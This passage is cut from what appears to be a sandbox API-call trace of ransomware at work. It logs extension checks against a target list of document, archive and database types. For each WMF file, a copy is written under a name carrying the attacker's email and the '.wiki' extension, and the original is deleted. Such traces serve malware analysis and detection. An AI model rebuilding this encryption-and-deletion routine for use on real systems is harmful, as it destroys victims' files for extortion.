lpString2="_.WMF") returned -1 [0187.694] lstrlenW (lpString=".pdf") returned 4 [0187.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.694] lstrlenW (lpString=".xls") returned 4 [0187.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.694] lstrlenW (lpString=".xlsx") returned 5 [0187.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.694] lstrlenW (lpString=".ppt") returned 4 [0187.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0187.694] lstrlenW (lpString=".zip") returned 4 [0187.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.694] lstrlenW (lpString=".rar") returned 4 [0187.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.694] lstrlenW (lpString=".bz2") returned 4 [0187.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.694] lstrlenW (lpString=".7z") returned 3 [0187.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0187.694] lstrlenW (lpString=".dbf") returned 4 [0187.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0187.694] lstrlenW (lpString=".1cd") returned 4 [0187.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0187.694] lstrlenW (lpString=".jpg") returned 4 [0187.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0187.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0187.694] lstrlenW (lpString=".doc") returned 4 [0187.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.695] lstrlenW (lpString=".docx") returned 5 [0187.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.695] lstrlenW (lpString=".pdf") returned 4 [0187.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.695] lstrlenW (lpString=".xls") returned 4 [0187.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.695] lstrlenW (lpString=".xlsx") returned 5 [0187.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.695] lstrlenW (lpString=".ppt") returned 4 [0187.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0187.695] lstrlenW (lpString=".zip") returned 4 [0187.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.695] lstrlenW (lpString=".rar") returned 4 [0187.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.695] lstrlenW (lpString=".bz2") returned 4 [0187.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.695] lstrlenW (lpString=".7z") returned 3 [0187.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0187.695] lstrlenW (lpString=".dbf") returned 4 [0187.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0187.695] lstrlenW (lpString=".1cd") returned 4 [0187.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0187.695] lstrlenW (lpString=".jpg") returned 4 [0187.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.696] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.696] lstrlenW (lpString="DD01145_.WMF") returned 12 [0187.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0187.696] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2780) returned 1 [0187.696] CloseHandle (hObject=0x1cc) returned 1 [0187.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x20 [0187.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0187.696] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.697] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0187.697] GetLastError () returned 0x0 [0187.697] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xadc, lpOverlapped=0x0) returned 1 [0187.717] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xae0, lpOverlapped=0x0) returned 1 [0187.717] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.718] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.718] SetEndOfFile (hFile=0x1f0) returned 1 [0187.718] CloseHandle (hObject=0x1f0) returned 1 [0187.718] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.718] SetEndOfFile (hFile=0x1cc) returned 1 [0187.719] CloseHandle (hObject=0x1cc) returned 1 [0187.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0187.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0187.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0187.719] lstrlenW (lpString=".doc") returned 4 [0187.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.719] lstrlenW (lpString=".docx") returned 5 [0187.719] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.719] lstrlenW (lpString=".pdf") returned 4 [0187.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.719] lstrlenW (lpString=".xls") returned 4 [0187.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.719] lstrlenW (lpString=".xlsx") returned 5 [0187.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.719] lstrlenW (lpString=".ppt") returned 4 [0187.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0187.720] lstrlenW (lpString=".zip") returned 4 [0187.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.720] lstrlenW (lpString=".rar") returned 4 [0187.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.720] lstrlenW (lpString=".bz2") returned 4 [0187.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.720] lstrlenW (lpString=".7z") returned 3 [0187.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0187.720] lstrlenW (lpString=".dbf") returned 4 [0187.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0187.720] lstrlenW (lpString=".1cd") returned 4 [0187.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0187.720] lstrlenW (lpString=".jpg") returned 4 [0187.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0187.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0187.720] lstrlenW (lpString=".doc") returned 4 [0187.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.720] lstrlenW (lpString=".docx") returned 5 [0187.720] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.720] lstrlenW (lpString=".pdf") returned 4 [0187.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.720] lstrlenW (lpString=".xls") returned 4 [0187.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.720] lstrlenW (lpString=".xlsx") returned 5 [0187.720] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.720] lstrlenW (lpString=".ppt") returned 4 [0187.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0187.721] lstrlenW (lpString=".zip") returned 4 [0187.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.721] lstrlenW (lpString=".rar") returned 4 [0187.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.721] lstrlenW (lpString=".bz2") returned 4 [0187.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.721] lstrlenW (lpString=".7z") returned 3 [0187.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0187.721] lstrlenW (lpString=".dbf") returned 4 [0187.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0187.721] lstrlenW (lpString=".1cd") returned 4 [0187.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0187.721] lstrlenW (lpString=".jpg") returned 4 [0187.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.721] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.721] lstrlenW (lpString="DD01152_.WMF") returned 12 [0187.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0187.722] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2960) returned 1 [0187.722] CloseHandle (hObject=0x1cc) returned 1 [0187.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x20 [0187.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0187.722] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.722] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0187.723] GetLastError () returned 0x0 [0187.723] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xb90, lpOverlapped=0x0) returned 1 [0187.739] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xba0, lpOverlapped=0x0) returned 1 [0187.740] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.740] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.740] SetEndOfFile (hFile=0x1f0) returned 1 [0187.740] CloseHandle (hObject=0x1f0) returned 1 [0187.740] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.740] SetEndOfFile (hFile=0x1cc) returned 1 [0187.741] CloseHandle (hObject=0x1cc) returned 1 [0187.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0187.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0187.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0187.741] lstrlenW (lpString=".doc") returned 4 [0187.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.741] lstrlenW (lpString=".docx") returned 5 [0187.741] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.741] lstrlenW (lpString=".pdf") returned 4 [0187.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.741] lstrlenW (lpString=".xls") returned 4 [0187.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.741] lstrlenW (lpString=".xlsx") returned 5 [0187.742] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.742] lstrlenW (lpString=".ppt") returned 4 [0187.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0187.742] lstrlenW (lpString=".zip") returned 4 [0187.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.742] lstrlenW (lpString=".rar") returned 4 [0187.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.742] lstrlenW (lpString=".bz2") returned 4 [0187.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.742] lstrlenW (lpString=".7z") returned 3 [0187.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0187.742] lstrlenW (lpString=".dbf") returned 4 [0187.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0187.742] lstrlenW (lpString=".1cd") returned 4 [0187.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0187.742] lstrlenW (lpString=".jpg") returned 4 [0187.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0187.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0187.742] lstrlenW (lpString=".doc") returned 4 [0187.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.742] lstrlenW (lpString=".docx") returned 5 [0187.742] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.742] lstrlenW (lpString=".pdf") returned 4 [0187.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.742] lstrlenW (lpString=".xls") returned 4 [0187.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.743] lstrlenW (lpString=".xlsx") returned 5 [0187.743] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.743] lstrlenW (lpString=".ppt") returned 4 [0187.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0187.743] lstrlenW (lpString=".zip") returned 4 [0187.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.743] lstrlenW (lpString=".rar") returned 4 [0187.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.743] lstrlenW (lpString=".bz2") returned 4 [0187.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.743] lstrlenW (lpString=".7z") returned 3 [0187.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0187.743] lstrlenW (lpString=".dbf") returned 4 [0187.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0187.743] lstrlenW (lpString=".1cd") returned 4 [0187.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0187.743] lstrlenW (lpString=".jpg") returned 4 [0187.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.743] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.743] lstrlenW (lpString="DD01162_.WMF") returned 12 [0187.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0187.744] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2300) returned 1 [0187.744] CloseHandle (hObject=0x1cc) returned 1 [0187.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x20 [0187.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0187.744] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.744] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0187.745] GetLastError () returned 0x0 [0187.745] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x8fc, lpOverlapped=0x0) returned 1 [0187.760] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x900, lpOverlapped=0x0) returned 1 [0187.761] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.761] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.761] SetEndOfFile (hFile=0x1f0) returned 1 [0187.761] CloseHandle (hObject=0x1f0) returned 1 [0187.761] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.761] SetEndOfFile (hFile=0x1cc) returned 1 [0187.762] CloseHandle (hObject=0x1cc) returned 1 [0187.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 1 [0187.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0187.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0187.763] lstrlenW (lpString=".doc") returned 4 [0187.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.763] lstrlenW (lpString=".docx") returned 5 [0187.763] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.763] lstrlenW (lpString=".pdf") returned 4 [0187.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.763] lstrlenW (lpString=".xls") returned 4 [0187.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.763] lstrlenW (lpString=".xlsx") returned 5 [0187.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.763] lstrlenW (lpString=".ppt") returned 4 [0187.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0187.763] lstrlenW (lpString=".zip") 